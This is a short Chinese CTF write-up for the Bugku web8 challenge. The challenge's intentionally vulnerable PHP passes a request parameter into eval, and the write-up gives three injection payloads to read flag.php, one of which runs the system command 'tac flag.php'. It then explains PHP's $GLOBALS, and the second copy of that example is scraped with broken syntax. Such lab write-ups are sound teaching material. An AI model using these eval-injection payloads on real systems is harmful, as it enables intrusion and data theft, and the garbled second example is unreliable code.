zoukankan      html  css  js  c++  java
  • ctf_bugku.com_web8>>>>$GLOBALS,如何查看源码,文件包含

    ctf地址:https://ctf.bugku.com/challenges/

    web8题目:

     <?php
        include "flag.php";
        $a = @$_REQUEST['hello'];
        eval( "var_dump($a);");
        show_source(__FILE__);
    ?> 

    看到这这道我先要想到$GLOBALS,全局变量

     没想到,flat不在这里,应该在源码里面

    方法1:利用file函数查看源码 

    hello=file('flag.php')

     方法2:show_soure()函数 查看源码

    hello=show_source('flag.php')

    方法3:利用系统函数

     hello=system('tac flag.php')

    知识点$GLOBALS

    $GLOBALS定义:引用全局作用域中可用的全部变量(一个包含了全部变量的全局组合数组。变量的名字就是数组的键),与所有其他超全局变量不同,$GLOBALS在PHP代码中任何地方总是可用的,自己可以通过打印$GLOBALS这个变量的结果就知道了。

    示例 #1 $GLOBALS 范例
    
    <?php
    function test() {
        $foo = "local variable";
    
        echo '$foo in global scope: ' . $GLOBALS["foo"] . "
    ";
        echo '$foo in current scope: ' . $foo . "
    ";
    }
    
    $foo = "Example content";
    test();
    ?>
    以上例程的输出类似于:
    
    $foo in global scope: Example content
    $foo in current scope: local variable

    示例 #1 $GLOBALS 范例

    <?php
    function test() {
        
    $foo "local variable";

        echo 
    '$foo in global scope: ' $GLOBALS["foo"] . " ";
        echo 
    '$foo in current scope: ' $foo " ";
    }

    $foo "Example content";
    test();
    ?>

    以上例程的输出类似于:

    $foo in global scope: Example content
    $foo in current scope: local variable
  • 相关阅读:
    Linux strip
    有趣的BUG
    GDB watch std::string size
    Redis Cluster Lua
    Double Buffer
    Yarn架构
    天池公交客流预测比赛
    hashmap,ConcurrentHashMap与hashtable的区别
    fail-fast和fail-safe
    常见机器学习算法优缺点
  • 原文地址:https://www.cnblogs.com/trevain/p/14334391.html
Copyright © 2011-2022 走看看